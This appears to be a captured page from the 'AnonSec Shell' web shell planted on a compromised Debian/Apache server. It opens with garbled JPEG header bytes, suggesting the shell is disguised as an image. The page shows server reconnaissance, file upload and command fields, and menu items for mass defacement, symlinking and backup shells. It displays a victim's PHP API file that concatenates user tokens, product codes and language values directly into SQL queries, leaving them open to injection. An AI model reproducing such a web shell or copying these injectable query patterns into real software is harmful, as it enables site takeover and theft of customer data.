JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/apiModule/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/apiModule/model/ApiRepository.php
<?php
/**
 * Created by PhpStorm.
 * User: MarekBucek
 * Date: 18.02.2019
 * Time: 11:33
 */

namespace Promoteus;

use App\frontModule\Presenters\BasePresenter;
use App\Model\ProductEsRepository;
use Nette\Database\Context;
use Nette\Security\User;
use Promoteus\ClientRepository;
use Promoteus\UserGroupAccessibilityRepository;


class ApiRepository extends Repository
{
    /** @var UserGroupAccessibilityRepository  @inject */
    public $userGroupAccess;

    /** @var ClientRepository @inject */
    public $clientRepository;

    public function __construct(Context $db, User $user, UserGroupAccessibilityRepository $userGroupAccess, ClientRepository $clientRepository)
    {
        $this->user = $user;
        $this->db = $db;
        $this->userGroupAccess = $userGroupAccess;
        $this->clientRepository = $clientRepository;

    }


    public function getPrices($userToken, $language = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') {
            return [];
        }

        $user_group_id = $this->user->isLoggedIn() ? $this->clientRepository->getClientUserGroupId($this->user->id['client']) : 1;
        $restrictedProducts = $this->userGroupAccess->inaccessibleProducts($user_group_id);
        $groupInfo = $this->userGroupAccess->getUserGroupInfo($user_group_id);

		$course = $this->db
			->query("SELECT ask FROM courses JOIN client ON client.course_default = courses.id WHERE client.api_token = '$userToken'")
			->fetchField('ask');

		$prices = [];
		$pricesAltus = [];

		if ($groupInfo && $groupInfo->product_price) {
            $query = 'SELECT psp.product_code, psp.capacity_id`,
                        round(`q1`/'.$course.',2) as q1,
                        round(`q50`/'.$course.',2) as q50,
                        round(`q100`/'.$course.',2) as q100,
                        round(`q200`/'.$course.',2) as q200,
                        round(`q300`/'.$course.',2) as q300,
                        round(`q500`/'.$course.',2) as q500,
                        round(`q700`/'.$course.',2) as q700,
                        round(`q1000`/'.$course.',2) as q1000,
                        round(`q2000`/'.$course.',2) as q2000,
                        round(`q3000`/'.$course.',2) as q3000,
                        round(`q5000`/'.$course.',2) as q5000,
                        round(`q7000`/'.$course.',2) as q7000,
                        round(`q10000`/'.$course.',2) as q10000,
                        round(`rema`/'.$course.',2) as rema,
                        round(`osa`/'.$course.',2) as osa 
                        FROM product_sell_prices psp
                        JOIN product ON psp.product_code = product.code
                        JOIN client ON `client`.`price_profile` = psp.price_profile_id 
                        WHERE `client`.`api_token` = \'' . $userToken . '\'
                            AND psp.product_code NOT IN (\''.implode('\', \'',$restrictedProducts).'\')';

            $prices = $this->db->query($query)->fetchAssoc('product_code');
        }

        if ($groupInfo && $groupInfo->product_altus_price) {
            $query = 'SELECT psp.product_code, psp.capacity_id,
                        round(`q1`/'.$course.',2) as q1,
                        round(`q50`/'.$course.',2) as q50,
                        round(`q100`/'.$course.',2) as q100,
                        round(`q200`/'.$course.',2) as q200,
                        round(`q300`/'.$course.',2) as q300,
                        round(`q500`/'.$course.',2) as q500,
                        round(`q700`/'.$course.',2) as q700,
                        round(`q1000`/'.$course.',2) as q1000,
                        round(`q2000`/'.$course.',2) as q2000,
                        round(`q3000`/'.$course.',2) as q3000,
                        round(`q5000`/'.$course.',2) as q5000,
                        round(`q7000`/'.$course.',2) as q7000,
                        round(`q10000`/'.$course.',2) as q10000,
                        round(`rema`/'.$course.',2) as rema,
                        round(`osa`/'.$course.',2) as osa 
                        FROM product_sell_prices psp
                        JOIN product_altus ON psp.product_code = product_altus.code
                        JOIN client ON `client`.`price_profile` = psp.price_profile_id 
                        WHERE `client`.`api_token` = \'' . $userToken . '\'
                            AND psp.product_code NOT IN (\''.implode('\', \'',$restrictedProducts).'\')';

            $pricesAltus = $this->db->query($query)->fetchAssoc('product_code');
        }

        $pricesReturn = array_merge($prices, $pricesAltus);

        return ['data' => $pricesReturn];
    }

    public function getPrice($userToken, $language = '', $productCode = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') {
            return [];
        }

        $user_group_id = $this->user->isLoggedIn() ? $this->clientRepository->getClientUserGroupId($this->user->id['client']) : 1;
        $restrictedProducts = $this->userGroupAccess->inaccessibleProducts($user_group_id);
        $groupInfo = $this->userGroupAccess->getUserGroupInfo($user_group_id);

		$course = $this->db
			->query("SELECT ask FROM courses JOIN client ON client.course_default = courses.id WHERE client.api_token = '$userToken'")
			->fetchField('ask');

		$price = [];
        if ($groupInfo && $groupInfo->product_price) {
            $query = 'SELECT psp.product_code, psp.capacity_id,
                        round(`q1`/' . $course . ',2) as q1,
                        round(`q50`/' . $course . ',2) as q50,
                        round(`q100`/' . $course . ',2) as q100,
                        round(`q200`/' . $course . ',2) as q200,
                        round(`q300`/' . $course . ',2) as q300,
                        round(`q500`/' . $course . ',2) as q500,
                        round(`q700`/' . $course . ',2) as q700,
                        round(`q1000`/' . $course . ',2) as q1000,
                        round(`q2000`/' . $course . ',2) as q2000,
                        round(`q3000`/' . $course . ',2) as q3000,
                        round(`q5000`/' . $course . ',2) as q5000,
                        round(`q7000`/' . $course . ',2) as q7000,
                        round(`q10000`/' . $course . ',2) as q10000,
                        round(`rema`/' . $course . ',2) as rema,
                        round(`osa`/' . $course . ',2) as osa 
                        FROM product_sell_prices psp
                        JOIN product ON psp.product_code = product.code
                        JOIN client ON `client`.`price_profile` = psp.`price_profile_id` 
                        WHERE `client`.`api_token` = \'' . $userToken . '\' 
                           AND psp.`product_code` = \'' . $productCode . '\'
                           AND psp.`product_code` NOT IN (\''.implode('\', \'',$restrictedProducts).'\')';

            $price = $this->db->query($query)->fetchAssoc('product_code');
        }

        if ($groupInfo && $groupInfo->product_altus_price) {
            $query = 'SELECT psp.product_code, psp.capacity_id,
                        round(`q1`/' . $course . ',2) as q1,
                        round(`q50`/' . $course . ',2) as q50,
                        round(`q100`/' . $course . ',2) as q100,
                        round(`q200`/' . $course . ',2) as q200,
                        round(`q300`/' . $course . ',2) as q300,
                        round(`q500`/' . $course . ',2) as q500,
                        round(`q700`/' . $course . ',2) as q700,
                        round(`q1000`/' . $course . ',2) as q1000,
                        round(`q2000`/' . $course . ',2) as q2000,
                        round(`q3000`/' . $course . ',2) as q3000,
                        round(`q5000`/' . $course . ',2) as q5000,
                        round(`q7000`/' . $course . ',2) as q7000,
                        round(`q10000`/' . $course . ',2) as q10000,
                        round(`rema`/' . $course . ',2) as rema,
                        round(`osa`/' . $course . ',2) as osa 
                        FROM product_sell_prices psp
                        JOIN product_altus ON psp.product_code = product_altus.code
                        JOIN client ON `client`.`price_profile` = psp.`price_profile_id` 
                        WHERE `client`.`api_token` = \'' . $userToken . '\' 
                           AND psp.`product_code` = \'' . $productCode . '\'
                           AND psp.`product_code` NOT IN (\''.implode('\', \'',$restrictedProducts).'\')';

            $price = $this->db->query($query)->fetchAssoc('product_code');
        }

        return ['data' => $price];
    }

    public function getStock()
    {
        $user_group_id = $this->user->isLoggedIn() ? $this->clientRepository->getClientUserGroupId($this->user->id['client']) : 1;
        $restrictedProducts = $this->userGroupAccess->inaccessibleProductsAll($user_group_id);

        $query = 'SELECT id, code, stock, min_order, IF(ordered < 0, 0, ordered) AS ordered, reserved, date_available
        FROM product_altus
        WHERE code NOT IN (\''.implode('\', \'',$restrictedProducts).'\')';

        $altusProducts = $this->db->query($query)->fetchAssoc('id');
        return ['data' => $altusProducts];
    }

    public function getProduct($language = '', $productCode = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') {
            return [];
        }
        if (count($this->db->query('SELECT id FROM product WHERE code = \'' . $productCode . '\'')->fetchAll())) {
            return $this->getProductsGeneral($language, $productCode);
        } else {
            if (count($this->db->query('SELECT id FROM product_altus WHERE code = \'' . $productCode . '\'')->fetchAll())) {
                return $this->getStockProducts($language, $productCode);
            } else {
                return [];
            }

        }

    }

    public function getStockProducts($language = '', $productCode = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') {
            return [];
        }
        $user_group_id = $this->user->isLoggedIn() ? $this->clientRepository->getClientUserGroupId($this->user->id['client']) : 1;
        $restrictedProductsAll = $this->userGroupAccess->inaccessibleProductsAll($user_group_id);
        $query = 'SELECT alt.id, alt.code, pr.code AS code_parent, alt.name_' . $language . ' AS name, 
        IF(alt.short_description_' . $language . ' = \'\' OR alt.short_description_' . $language . ' IS NULL , pr.short_description_' . $language . ', alt.short_description_' . $language . ') AS short_description,
        IF(alt.description_' . $language . ' = \'\' OR alt.description_' . $language . ' IS NULL , pr.description_' . $language . ', alt.description_' . $language . ') AS description,
        IF(alt.specification_' . $language . ' = \'\' OR alt.specification_' . $language . ' IS NULL , pr.specification_' . $language . ', alt.specification_' . $language . ') AS specification,
        IF(alt.size = \'\' OR alt.size IS NULL , pr.size, alt.size) AS size,
        IF(alt.weight = \'\' OR alt.weight IS NULL, pr.weight, alt.weight) AS weight,
        IF(alt.ordered < 0, 0, alt.ordered) AS ordered,
        alt.min_order AS minorder,
        alt.reserved,
        alt.date_available
        FROM product_altus alt
        LEFT JOIN link_product_product_altus l_alt ON l_alt.product_altus_code = alt.code
        LEFT JOIN product pr ON pr.code = l_alt.product_code
        WHERE alt.code NOT IN ("'.implode("\", \"",$restrictedProductsAll).'")';
        if ($productCode !== '') {
                $query .= ' AND alt.code = \'' . $productCode . '\'';
        }

        $altusProducts = $this->db->query($query)->fetchAssoc('id');
        $idsOfProducts = '';
        foreach ($altusProducts as $product) {
            $idsOfProducts .= $product['id'] . ',';
            $altusProducts[$product['id']]['hs_code_id'] = [];
            $altusProducts[$product['id']]['categories_id'] = [];
            $altusProducts[$product['id']]['colors_id'] = [];
            $altusProducts[$product['id']]['capacities_id'] = [];
            $altusProducts[$product['id']]['materials_id'] = [];
            $altusProducts[$product['id']]['prints_id'] = [];
            $altusProducts[$product['id']]['minorder'] = [];
            $altusProducts[$product['id']]['terms'] = [];
            $altusProducts[$product['id']]['images'] = [];
        }
        $idsOfProducts = ltrim(rtrim($idsOfProducts, ','), ',');

        $query = 'SELECT alt.id AS pr_id, list_color.id, list_color.name_' . $language . ' AS name, list_color.hex AS hex
        FROM product_altus alt
        LEFT JOIN list_color ON list_color.id = alt.color_id
        WHERE alt.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($altusProducts[$variable['pr_id']]['colors_id'], $variable->id);
        }

        $query = 'SELECT alt.id AS pr_id, list_capacity.id, list_capacity.name AS name
        FROM product_altus alt
        LEFT JOIN list_capacity ON list_capacity.id = alt.capacity_id
        WHERE alt.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($altusProducts[$variable['pr_id']]['capacities_id'], $variable->id);
        }

        $query = 'SELECT alt.id AS pr_id, list_print.id, list_print.name_' . $language . ' AS name
        FROM product_altus alt
        LEFT JOIN link_product_altus_print lnk_prnt ON lnk_prnt.product_altus_id = alt.id
        RIGHT JOIN list_print ON list_print.id = lnk_prnt.print_id
        WHERE alt.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($altusProducts[$variable['pr_id']]['prints_id'], $variable->id);
        }

        $query = 'SELECT alt.id as pr_id, list_material.id, list_material.name_' . $language . ' as name
        FROM product_altus alt
        LEFT JOIN link_product_product_altus l_alt ON l_alt.product_altus_code = alt.code
        LEFT JOIN product pr ON pr.code = l_alt.product_code
        LEFT JOIN link_product_material lnk_mtrl ON lnk_mtrl.product_id = pr.id
        RIGHT JOIN list_material ON list_material.id = lnk_mtrl.material_id
        WHERE alt.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($altusProducts[$variable['pr_id']]['materials_id'], $variable->id);
        }

        $query = 'SELECT alt.id as pr_id, category.id, category.name_' . $language . ' as name
        FROM product_altus alt
        LEFT JOIN link_product_product_altus l_alt ON l_alt.product_altus_code = alt.code
        LEFT JOIN product pr ON pr.code = l_alt.product_code
        LEFT JOIN link_product_category lnk_ctgr ON lnk_ctgr.product_id = pr.id
        RIGHT JOIN category ON category.id = lnk_ctgr.category_id
        WHERE alt.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($altusProducts[$variable['pr_id']]['categories_id'], $variable->id);
        }

        $query = 'SELECT alt.id as pr_id, list_hs.id, list_hs.hs_code as code
        FROM product_altus alt
        LEFT JOIN link_product_product_altus l_alt ON l_alt.product_altus_code = alt.code
        LEFT JOIN product pr ON pr.code = l_alt.product_code
        LEFT JOIN link_product_hs lnk_hs ON lnk_hs.product_id = pr.id
        RIGHT JOIN list_hs ON list_hs.id = lnk_hs.hs_id
        WHERE alt.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($altusProducts[$variable['pr_id']]['hs_code_id'], $variable->id);
        }

        $query = 'SELECT alt.id as pr_id, img.product_code, CONCAT("https://promoteus.cz/images/front/products/full/", img.tab, "/", img.image) link, img.img_order
        FROM product_altus alt
        LEFT JOIN link_product_product_altus l_alt ON l_alt.product_altus_code = alt.code
        LEFT JOIN product pr ON pr.code = l_alt.product_code
        RIGHT JOIN `images` img ON img.product_code = pr.code
        WHERE img.`active` = "1" AND img.`image_type` = "3"
        AND alt.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';
        $query .= ' ORDER BY img.product_code ASC, img.img_order ASC';

        $products_images = $this->db->query($query)->fetchAll();
        foreach ($products_images as $image) {
            array_push($altusProducts[$image['pr_id']]['images'], ['link' => $image['link'], 'order' => $image['img_order']]);
        }

        foreach ($altusProducts as $product) {
            array_push($product['minorder'], $product['minorder']);
            array_push($product['terms'], ['term' => $product['date_available']]);
            unset($altusProducts[$product['id']]['minorder']);
            unset($altusProducts[$product['id']]['date_available']);
            unset($altusProducts[$product['id']]['id']);
        }


        return ['data' => $altusProducts];
    }

    public function getProductsGeneral($language = '', $productCode = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') {
            return [];
        }
        $user_group_id = $this->user->isLoggedIn() ? $this->clientRepository->getClientUserGroupId($this->user->id['client']) : 1;
        $restrictedProducts = $this->userGroupAccess->inaccessibleProducts($user_group_id);

        $query = "SELECT id, code, code_cat as code_catalog, name_" . $language . " as name, short_description_" . $language . " as short_description, description_" . $language . " as description, specification_" . $language . " as specification, size, weight, total_weight
        FROM product WHERE code NOT IN ('".implode('\', \'',$restrictedProducts)."') ";
        if ($productCode !== '') {
            $query .= ' AND code = \'' . $productCode . '\'';
        }

        $products = $this->db->query($query)->fetchAssoc('id');

        $idsOfProducts = '';
        foreach ($products as $product) {
            $idsOfProducts .= $product['id'] . ',';
            $products[$product['id']]['hs_code_id'] = [];
            $products[$product['id']]['categories_id'] = [];
            $products[$product['id']]['colors_id'] = [];
            $products[$product['id']]['capacities_id'] = [];
            $products[$product['id']]['materials_id'] = [];
            $products[$product['id']]['prints_id'] = [];
            $products[$product['id']]['minorder'] = [];
            $products[$product['id']]['terms_id'] = [];
            $products[$product['id']]['images'] = [];
        }
        $idsOfProducts = rtrim($idsOfProducts, ',');

        $query = 'SELECT pr.id as pr_id, list_color.id, list_color.name_' . $language . ' as name, list_color.hex as hex
        FROM product pr
        LEFT JOIN link_product_color lnk_clr ON lnk_clr.product_id = pr.id
        RIGHT JOIN list_color ON list_color.id = lnk_clr.color_id
        WHERE pr.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($products[$variable['pr_id']]['colors_id'], $variable->id);
        }

        $query = 'SELECT pr.id as pr_id, list_capacity.id, list_capacity.name as name
        FROM product pr
        LEFT JOIN link_product_capacity lnk_cpct ON lnk_cpct.product_id = pr.id
        RIGHT JOIN list_capacity ON list_capacity.id = lnk_cpct.capacity_id
        WHERE pr.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($products[$variable['pr_id']]['capacities_id'], $variable->id);
        }

        $query = 'SELECT pr.id as pr_id, list_print.id, list_print.name_' . $language . ' as name
        FROM product pr
        LEFT JOIN link_product_print lnk_prnt ON lnk_prnt.product_id = pr.id
        RIGHT JOIN list_print ON list_print.id = lnk_prnt.print_id
        WHERE pr.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($products[$variable['pr_id']]['prints_id'], $variable->id);
        }


        $query = 'SELECT pr.id as pr_id, list_material.id, list_material.name_' . $language . ' as name
        FROM product pr
        LEFT JOIN link_product_material lnk_mtrl ON lnk_mtrl.product_id = pr.id
        RIGHT JOIN list_material ON list_material.id = lnk_mtrl.material_id
        WHERE pr.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($products[$variable['pr_id']]['materials_id'], $variable->id);
        }

        $query = 'SELECT pr.id as pr_id, category.id, category.name_' . $language . ' as name
        FROM product pr
        LEFT JOIN link_product_category lnk_ctgr ON lnk_ctgr.product_id = pr.id
        RIGHT JOIN category ON category.id = lnk_ctgr.category_id
        WHERE pr.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($products[$variable['pr_id']]['categories_id'], $variable->id);
        }

        $query = 'SELECT pr.id as pr_id, list_hs.id, list_hs.hs_code as code
        FROM product pr
        LEFT JOIN link_product_hs lnk_hs ON lnk_hs.product_id = pr.id
        RIGHT JOIN list_hs ON list_hs.id = lnk_hs.hs_id
        WHERE pr.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($products[$variable['pr_id']]['hs_code_id'], $variable->id);
        }

        $query = 'SELECT pr.id as pr_id, list_min_order.id, list_min_order.name_' . $language . ' as name,list_min_order.number as number
        FROM product pr
        LEFT JOIN link_product_min_order lnk_mn_rdr ON lnk_mn_rdr.product_id = pr.id
        RIGHT JOIN list_min_order ON list_min_order.id = lnk_mn_rdr.min_order_id
        WHERE pr.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($products[$variable['pr_id']]['minorder'], $variable->number);
        }

        $query = 'SELECT pr.id as pr_id, list_term.id, list_term.name_' . $language . ' as name
        FROM product pr
        LEFT JOIN link_product_term lnk_trm ON lnk_trm.product_id = pr.id
        RIGHT JOIN list_term ON list_term.id = lnk_trm.term_id
        WHERE pr.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';

        $products_variables = $this->db->query($query)->fetchAll();
        foreach ($products_variables as $variable) {
            array_push($products[$variable['pr_id']]['terms_id'], $variable->id);
        }

        $query = 'SELECT pr.id as pr_id, img.product_code, CONCAT("https://promoteus.cz/images/front/products/full/", img.tab, "/", img.image) link, img.img_order
        FROM product pr
        RIGHT JOIN `images` img ON img.product_code = pr.code
        WHERE img.`active` = "1" AND img.`image_type` = "3"
        AND pr.id IN(';
        $query .= $idsOfProducts;
        $query .= ')';
        $query .= ' ORDER BY img.product_code ASC, img.img_order ASC';

        $products_images = $this->db->query($query)->fetchAll();
        foreach ($products_images as $image) {
            array_push($products[$image['pr_id']]['images'], ['link' => $image['link'], 'order' => $image['img_order']]);
        }

        foreach ($products as $product) {
            unset($products[$product['id']]['id']);
        }
        return ['data' => $products];
    }

    private function isExistsLanguage($language)
    {
        if (empty($language)) {
            return BasePresenter::getLanguageData();
        }
        $query = 'SELECT  count(*) as isexist FROM languages WHERE suffix =\'' . $language . '\'';
        $result = $this->db->query($query)->fetchAll();
        if ($isExist = boolval($result[0]->isexist)) {
            return $language;
        };
        return '';
    }

    public function getCategories($language = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') {
            return [];
        }
        $query = 'SELECT id, parent_id, name_' . $language . ' as name, url_' . $language . ' as url FROM category';
        return ['data' => $this->db->query($query)->fetchAssoc('id')];
    }

    public function getColors($language = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') {
            return [];
        }
        $query = 'SELECT id, code, name_' . $language . ' AS name, hex, priority FROM list_color';
        return ['data' => $this->db->query($query)->fetchAssoc('id')];
    }

    public function getMaterials($language = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') {
            return [];
        }
        $query = 'SELECT id, code, name_' . $language . ' AS name, priority FROM list_material';
        return ['data' => $this->db->query($query)->fetchAssoc('id')];
    }

    public function getCapacities($language = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') {
            return [];
        }
        $query = 'SELECT id, code, name, priority FROM list_capacity';
        return ['data' => $this->db->query($query)->fetchAssoc('id')];
    }

    public function getPrints($language = '')
    {
        $user_group_id = $this->user->isLoggedIn() ? $this->clientRepository->getClientUserGroupId($this->user->id['client']) : 1;
        $groupInfo = $this->userGroupAccess->getUserGroupInfo($user_group_id);

        if ($groupInfo && (bool) $groupInfo['prints']) {
            $language = $this->isExistsLanguage($language);
            if ($language === '') {
                return [];
            }
            $query = 'SELECT id, code, name_' . $language . ' AS name, priority FROM list_print';
            return ['data' => $this->db->query($query)->fetchAssoc('id')];
        }

        return [];
    }

    public function getTerms($language = '')
    {
        $language = $this->isExistsLanguage($language);
        if ($language === '') return [];
        $query = 'SELECT id, code, name_' . $language . ' AS name, priority FROM list_term';
        return ['data' => $this->db->query($query)->fetchAssoc('id')];
    }

}

Anon7 - 2022
AnonSec Team